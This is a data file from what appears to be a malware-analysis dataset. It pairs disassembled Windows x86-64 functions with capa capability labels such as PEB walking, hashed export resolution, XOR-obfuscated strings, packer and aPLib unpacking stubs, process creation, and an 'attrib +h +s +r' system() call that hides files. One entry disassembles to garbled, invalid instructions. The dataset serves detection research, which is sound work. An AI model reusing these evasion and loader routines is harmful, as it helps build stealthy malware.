joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140024dc0
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea rbx, [rsp + 0x78]
movabs rdi, 0x7a5db90d33787107
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
mov rbp, qword [rbx]
xor rbp, rdi
mov qword [rsp + 0x28], rbp
xor esi, esi
mov qword [rbx], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
mov dword [rsp + 0x20], esi
mov r10, qword [0x14005a0e0]
test r10, r10
jne 0x140024fcd
mov edi, esi
mov r11d, 0xe6b7f439
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r12, qword [rcx]
mov rsi, r12
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140024eac
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x295820df
cmp rcx, r8
je 0x140024ea4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0xfff5db
add rcx, 2
cmp rcx, r8
jne 0x140024e90
cmp edx, edi
jne 0x140024f9e
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r9
cmp rbx, r9
je 0x140024f9e
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140024f9e
mov r14d, dword [rbx + 0x20]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x295820df
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140024f16
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0xfff5db
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140024f00
cmp edx, r11d
je 0x140024f22
test r8d, r8d
jne 0x140024ee2
jmp 0x140024f9e
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
cmp r10, rbx
jbe 0x140024fb7
lea rax, [r15 + rbx]
cmp r10, rax
jae 0x140024fb7
mov edi, 0x295820df
mov r11d, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x140024f76
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0xfff5db
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x140024f60
inc r10
movzx eax, byte [r10]
test al, al
je 0x140024f9a
movsx eax, al
xor eax, r11d
imul r11d, eax, 0xfff5db
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x140024f81
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140024fb4
cmp qword [rax + 0x30], 0
jne 0x140024e60
xor r10d, r10d
mov qword [0x14005a0e0], r10
lea rbx, [rsp + 0x78]
movabs rdi, 0x7a5db90d33787107
lea r9, [rsp + 0x20]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, r13
call r10
mov eax, 0x5a4d
cmp word [r13], ax
je 0x140024ff6
xor rbp, rdi
xor al, al
jmp 0x140025000
xor eax, eax
mov word [r13], ax
xor rbp, rdi
mov qword [rbx], rbp
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140025fd0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140025030
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea rax, [rsp + 0x78]
movabs rcx, 0x7a5db90d33787107
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
mov r12, qword [rax]
xor r12, rcx
mov qword [rsp + 0x28], r12
xor ebx, ebx
mov qword [rax], rbx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
mov r10, qword [0x14005a110]
test r10, r10
jne 0x14002522e
mov edi, ebx
mov r11d, 0x2314394e
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbp, qword [rcx]
mov rsi, rbp
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14002511c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xaa90f6c
cmp rcx, r8
je 0x140025114
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0xfff5db
add rcx, 2
cmp rcx, r8
jne 0x140025100
cmp edx, edi
jne 0x14002520e
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r9
cmp rbx, r9
je 0x14002520e
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14002520e
mov r14d, dword [rbx + 0x20]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xaa90f6c
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140025186
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0xfff5db
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140025170
cmp edx, r11d
je 0x140025192
test r8d, r8d
jne 0x140025152
jmp 0x14002520e
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
cmp r10, rbx
jbe 0x140025227
lea rax, [r15 + rbx]
cmp r10, rax
jae 0x140025227
mov edi, 0xaa90f6c
mov r11d, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x1400251e6
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0xfff5db
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x1400251d0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14002520a
movsx eax, al
xor eax, r11d
imul r11d, eax, 0xfff5db
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x1400251f1
mov rsi, qword [rbp]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140025224
cmp qword [rax + 0x30], 0
jne 0x1400250d0
xor r10d, r10d
mov qword [0x14005a110], r10
lea r9, [rsp + 0x20]
mov edx, 0x1000
mov r8d, 0x100
mov rcx, r13
call r10
xor edx, edx
mov r8d, 0x1000
mov rcx, r13
call sub.VCRUNTIME140.dll_memset
nop
movabs rax, 0x7a5db90d33787107
xor r12, rax
lea rax, [rsp + 0x78]
mov qword [rax], r12
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140025fd0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140026c90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140026cda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140026cda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140026cda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140026cda
cmp dword [rcx + 0x84], 0xe
jbe 0x140026cda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140026cdc
xor al, al
add rsp, 0x28
ret
Function at 0x41f8f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x41f8fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x41f90d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x41f8f5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x41f925
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x41f912
sub eax, 3
jb 0x41f93f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x41f976
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x41f966
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x41f964
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x41f953
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.0041f8b2
jmp 0x41f8fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2000
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x41f9c2
cmp rsi, rcx
jae 0x41f9ca
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x41f9a9
cmp al, 0x8f
ja 0x41f9a9
cmp byte [rsi - 2], 0xf
je 0x41f9af
sub al, 0xe8
cmp al, 1
ja 0x41f993
cmp rsi, rcx
jae 0x41f9ca
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x41f999
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x41f9ca
lodsb al, byte [rsi]
jmp 0x41f9a9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1d000]
mov eax, dword [rdi]
or eax, eax
je 0x41fa27
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2016c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x41f9d7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x41fa21
mov qword [rbx], rax
add rbx, 8
jmp 0x41f9f7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.0041faaa], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.0041faaa
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x41fa9a
sub rsp, 0xffffffffffffff80
jmp 0x4014e0
Function at 0x180003460
Capabilities:
Encode data using xor

Disassembly:
jnp 0x18000349a
in al, dx
insd dword [rdi], dx
jns 0x18000341d
jbe 0x1800034dc
jae 0x180003453
xchg byte [rax - 0x11], dl
jnp 0x18000343d
invalid
pop rax
stosd dword [rdi], eax
ret 0x6403
xor ecx, dword [rdi]
cli
invalid
invalid
invalid

Function at 0x1808bf058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1808bf1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1808bf089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808bf06f
add dl, dl
jne 0x1808bf096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808bf0f6
xor eax, eax
add dl, dl
jne 0x1808bf0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808bf1ad
add dl, dl
jne 0x1808bf0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808bf0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808bf0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808bf0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808bf0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1808bf07e
mov eax, 1
add dl, dl
jne 0x1808bf106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808bf113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808bf0fb
sub eax, ebx
mov ebx, 1
jne 0x1808bf14c
mov ecx, 1
add dl, dl
jne 0x1808bf12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808bf13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808bf123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808bf07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1808bf168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808bf175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808bf15d
cmp eax, 0x7d00
jae 0x1808bf19b
cmp eax, 0x500
jb 0x1808bf196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808bf07e
cmp eax, 0x7f
ja 0x1808bf19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808bf07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808bf1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1808bf07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x141520108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14152028f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141520139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14152011f
add dl, dl
jne 0x141520146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1415201a6
xor eax, eax
add dl, dl
jne 0x141520155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14152025d
add dl, dl
jne 0x141520166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141520173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141520180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14152018d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14152019a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14152012e
mov eax, 1
add dl, dl
jne 0x1415201b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1415201c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415201ab
sub eax, ebx
mov ebx, 1
jne 0x1415201fc
mov ecx, 1
add dl, dl
jne 0x1415201de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1415201eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415201d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14152012e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141520218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141520225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14152020d
cmp eax, 0x7d00
jae 0x14152024b
cmp eax, 0x500
jb 0x141520246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14152012e
cmp eax, 0x7f
ja 0x14152024e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14152012e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141520282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14152012e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000232c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002376
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002376
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002376
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002376
cmp dword [rcx + 0x84], 0xe
jbe 0x140002376
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002378
xor al, al
add rsp, 0x28
ret
Function at 0x140001340
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x190
mov rax, qword [0x14008b040]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x70]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x1c
xor esi, esi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x1400014ce
mov qword [rsp + 0x1a8], rbx
lea rax, [rsp + 0x70]
xorps xmm0, xmm0
mov qword [rsp + 0x1b0], rbp
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov rbx, 0xffffffffffffffff
mov qword [rdi + 0x18], rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x1400013c0
movabs rbp, 0x7fffffffffffffff
cmp rbx, rbp
ja 0x140001544
cmp rbx, 0xf
ja 0x140001407
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x70]
mov qword [rdi + 0x18], 0xf
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], sil
jmp 0x14000149a
mov rax, rbx
or rax, 0xf
cmp rax, rbp
jbe 0x14000143c
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140086110
test rax, rax
je 0x14000146c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000147b
mov ecx, 0x16
mov rbp, rax
cmp rax, rcx
cmovb rbp, rcx
lea rcx, [rbp + 1]
test rcx, rcx
je 0x14000147b
cmp rcx, 0x1000
jb 0x140001473
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000154a
jmp 0x140001421
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086110
mov rsi, rax
mov r8, rbx
mov qword [rdi], rsi
lea rdx, [rsp + 0x70]
mov qword [rdi + 0x10], rbx
mov rcx, rsi
mov qword [rdi + 0x18], rbp
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rbx, qword [rsp + 0x1a8]
mov rax, rdi
mov rbp, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400860f0
mov rsi, qword [rsp + 0x1b8]
add rsp, 0x190
pop rdi
ret
movabs rdx, 0xa2572d1a34949557
movabs rcx, 0xe7f0670b9263ed1c
mov qword [rsp + 0x30], rdx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rcx
mov rcx, rdi
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], rax
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.140085390
mov rax, rdi
jmp 0x1400014ad
call fcn.1400011b0
int3
call fcn.140001110
int3
Function at 0x140001550
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x14008b040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
xor edx, edx
mov qword [r11 - 0x28], rax
cmp qword [rcx + 0x18], 0xf
movups xmmword [r11 - 0x58], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x38], xmm0
mov dword [rsp + 0x70], 0x68
mov dword [r11 - 0x4c], 1
mov word [r11 - 0x48], dx
movups xmmword [rsp + 0x50], xmm0
jbe 0x1400015be
mov rcx, qword [rcx]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001616
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400860f0
add rsp, 0xf8
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400860f0
add rsp, 0xf8
ret

Function at 0x140001650
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x68
cmp qword [rcx + 0x18], 0xf
jbe 0x14000165e
mov rcx, qword [rcx]
movabs rdx, 0xe7f0670b9263ed1c
movabs rax, 0xa2572d1a5af1e538
mov qword [rsp + 0x30], rax
mov r8, rcx
mov rax, qword [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x30], rdx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
movabs rax, 0xa2572d1a34949557
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x58], rax
xor eax, eax
xorps xmm0, xmmword [rsp + 0x50]
mov dword [rsp + 0x28], eax
movdqa xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x68
ret
Function at 0x1400016f0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x290
mov rax, qword [0x14008b040]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x70]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x1c
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000173b
lea rdx, [rsp + 0x70]
jmp 0x1400017a1
movabs rdx, 0xa2572d1a34949557
movabs rcx, 0xe7f0670b9263ed1c
mov qword [rsp + 0x30], rdx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], rax
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rbx
call fcn.1400850e0
mov rax, rbx
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400860f0
add rsp, 0x290
pop rbx
ret

Function at 0x1400019a0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x98
mov rax, qword [0x14008b040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 0x11
jb 0x140001b40
cmp qword [rcx + 0x18], 0xf
jbe 0x1400019de
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x11
lea r9, str.attrib_h_s_r__
lea rcx, [rsp + 0x40]
call fcn.140085f60
nop
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001a3e
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x40]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x40]
jmp 0x140001a56
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140085db0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001acb
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008614c
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140001b28
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008614c
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400860f0
add rsp, 0x98
ret
call fcn.1400011b0
int3